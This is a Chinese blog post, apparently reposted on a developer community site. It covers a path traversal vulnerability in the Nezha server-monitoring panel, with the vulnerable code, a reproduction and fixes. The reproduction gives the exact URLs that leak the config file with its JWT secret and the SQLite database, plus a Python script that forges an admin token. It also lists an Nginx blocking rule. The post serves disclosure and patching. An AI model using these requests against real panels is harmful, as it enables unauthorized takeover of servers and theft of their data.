首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >哪吒探针路径穿越漏洞复现及修复

哪吒探针路径穿越漏洞复现及修复

作者头像
逍遥子大表哥
发布2026-06-24 19:09:28
发布2026-06-24 19:09:28
2250
举报
文章被收录于专栏:kali blogkali blog

哪吒探针是一款轻量的服务器监控工具,因轻量、支持多终端被大家所熟知。但最近却爆出了严重的安全漏洞,由于笔者也一直在使用,因此针对此漏洞进行升级,并做一次简单的记录。

目前被曝存在一个 严重级别的路径穿越漏洞(CVE-2026-53519)。攻击者无需任何认证,仅通过两个 HTTP 请求,即可直接下载面板的敏感配置文件与数据库,伪造 JWT Token 直接接管管理员后台。

一、漏洞核心信息

项目

内容

漏洞编号

CVE-2026-53519

GitHub Advisory

GHSA-5c25-7vpj-9mqh

漏洞类型

CWE-22 路径穿越(Path Traversal)

严重性

CRITICAL(严重)

影响版本

v1.x ~ v2.0.12

二、漏洞原理深度分析

位于 cmd/dashboard/controller/controller.go 中的 fallbackToFrontend 函数。该函数作为 NoRoute 兜底处理,当所有路由都不匹配时,会尝试将请求当作前端静态资源处理。

问题代码:

代码语言:javascript
复制
// NoRoute 兜底处理
if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
    stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
    localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
    if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
        return
    }
}

关键缺陷在于:HasPrefix 检查的是字符串前缀,而不是路径段(path segment)。正常访问,拼接为 admin-dist/login.但 Go 的 http.ServeFile 在 URL 层面会拦截 .. 段 → 返回 400 dashboard.. 是一个完整的路径段,URL 层面不会拦截;TrimPrefix 后得到 ../data/config.yamlpath.Join("admin-dist",)

三、复现

在浏览器中,直接访问https://你的面板地址/dashboard../data/config.yaml便可以直接下载config.yaml文件,效果如下:

这里,我们可以看到在后台中的配置信息和关键的 jwt_secret_key — 用于签发所有会话 Cookie 的 HS256 签名密钥。

下载数据库获取管理员 User ID

同样,我们浏览器访问 https://你的面板地址/dashboard../data/sqlite.db 便可以成功下载sqlite.db文件。

SQLite 数据库中存储着管理员用户的 ID(默认管理员通常为 1)。

第三步:伪造 JWT Token 接管后台

利用获取到的 jwt_secret_key 和管理员 User ID,本地构造一个合法的 JWT Token:

代码语言:javascript
复制
import jwt, time
payload = {
    "user_id": 1,
    "exp": int(time.time()) + 86400 * 30
}
token = jwt.encode(payload, "获取到的_jwt_secret_key", algorithm="HS256")
print(token)

将生成的 Token 写入浏览器 Cookie(键名:nz-jwt),刷新页面即可 直接进入管理员后台

四、紧急修复方案

需要我们升级面板到 v2.0.13+

代码语言:javascript
复制
# Docker 部署
docker pull ghcr.io/nezhahq/nezha:latest
docker compose up -d

二进制部署 下载 v2.0.13+ 版本替换二进制文件后重启服务 临时缓解

在 Nginx/反向代理中添加规则,拦截包含 dashboard.. 的异常请求:

代码语言:javascript
复制
if ($uri ~* "/dashboard\.\.") {
    return 403;
}

或直接暂时停止面板服务。

五、总结

这次哪吒探针的高危漏洞再次给我们敲响了警钟:一个字符的前缀匹配错误,就导致了全线版本沦陷。网络安全无小事。 不要抱有"我的小鸡配置低、黑客看不上"的侥幸心理。平时多关于相关安全资讯,常用程序及时更新,以免造成资产损失。

更多精彩文章 欢迎关注我们

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-06-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 kali笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、漏洞核心信息
  • 二、漏洞原理深度分析
  • 三、复现
  • 四、紧急修复方案
  • 五、总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档